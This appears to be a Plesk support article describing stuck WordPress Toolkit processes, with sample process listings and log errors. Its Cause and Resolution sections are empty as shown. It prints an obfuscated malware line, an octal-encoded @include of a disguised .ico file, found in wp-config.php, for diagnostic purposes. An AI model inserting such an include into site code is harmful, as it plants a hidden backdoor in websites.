Low performance of Plesk server: WordPress Toolkit processes spawned by Daily task are stuck

Symptoms

• The following processes with the long lifetime (started by the Plesk Daily Maintenance task) are stuck and consume a lot of CPU (up to 100%) or RAM (there can be one or more such processes):

  • In Plesk for Linux:

    # ps aux | grep safe_mode | grep -v grep
    
    user+ 812014 203.0.113.2 347652 21328 ? R 00:01 728:37 /opt/plesk/php/7.0/bin/php -d safe_mode=off -d display_errors=off -d opcache.enable_cli=off -d open_basedir= -c /var/www/vhosts/system/example.com/etc/php.ini /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/bin/../php/boot-fs.php --path=/var/www/vhosts/example.com/httpdocs instance info --format=json --check-updates=true --quiet

  • In Plesk for Windows, similar processes can be found in the Task Manager (or Process Explorer).

• The following lines are found in the file wp-config.php or index.php in the domain's directory:

  # less /var/www/vhosts/example.com/instancename/wp-config.php
  
  /91169/
  @include "\057var\057www\057vho\163ts/\147gfd\056re/\154jkl\151uio\057wqw\151g/2\06018/\0604/.\1441cb\143786\056ico";
  /91169/

  Note: Use PHP Decode to decrypt the line above. It will return the location of the malware.

• The following error can be found in the file /var/log/plesk/panel.log:

  CONFIG_TEXT: ERR [extension/wp-toolkit] Unable to process WordPress instance #34.

• Plesk WordPress Toolkit fails to be opened with 502 error.

Cause

Resolution